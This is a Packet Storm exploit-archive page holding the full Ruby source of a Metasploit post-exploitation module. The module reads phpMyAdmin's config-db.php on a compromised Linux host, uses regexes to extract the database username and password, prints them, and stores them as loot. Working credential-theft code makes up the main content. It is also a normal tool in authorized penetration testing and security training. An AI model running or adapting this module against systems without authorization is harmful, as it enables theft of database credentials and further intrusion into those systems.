what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

phpMyAdmin Credential Stealer

phpMyAdmin Credential Stealer
Posted Sep 9, 2018
Authored by Dhiraj Mishra | Site metasploit.com

This Metasploit module gathers phpMyAdmin credentials from a target linux machine.

tags | exploit
systems | linux
SHA-256 | 5ff70db330dfb5a4f9e077101c4ac494e8ecbbd010bd2c1ee7d93939ca5de46d

phpMyAdmin Credential Stealer

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post

include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System

def initialize(info={})
super(update_info(info,
'Name' => "Phpmyadmin credentials stealer",
'Description' => %q{
This module gathers Phpmyadmin creds from target linux machine.
},
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'SessionTypes' => ['meterpreter'],
'Author' => [
'Chaitanya Haritash [bofheaded]',
'Dhiraj Mishra <dhiraj@notsosecure.com>'
]
))
end

def parse_creds(contents)
db_user = contents.scan(/\$dbuser\s*=\s*['"](.*)['"];/).flatten.first
db_pass = contents.scan(/\$dbpass\s*=\s*['"](.*)['"];/).flatten.first

unless db_user && db_pass
print_error("Couldn't find PhpMyAdmin credentials")
return
end

print_good("User: #{db_user}")
print_good("Password: #{db_pass}")

print_status("Storing credentials...")
store_valid_credential(user: db_user, private: db_pass)
end

def run
print_line("\nPhpMyAdmin Creds Stealer!\n")

if session.platform.include?("windows")
print_error("This module is not compatible with windows")
return
end

conf_path = "/etc/phpmyadmin/config-db.php"
unless file_exist?(conf_path)
print_error("#{conf_path} doesn't exist on target")
return
end

print_good('PhpMyAdmin config found!')
res = read_file(conf_path)
unless res
print_error("You may not have permissions to read the file.")
return
end

print_good("Extracting creds")
parse_creds(res)

p = store_loot('phpmyadmin_conf', 'text/plain', session, res, 'phpmyadmin_conf.txt', 'phpmyadmin_conf')
print_good("Config file located at #{p}")
end
end

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close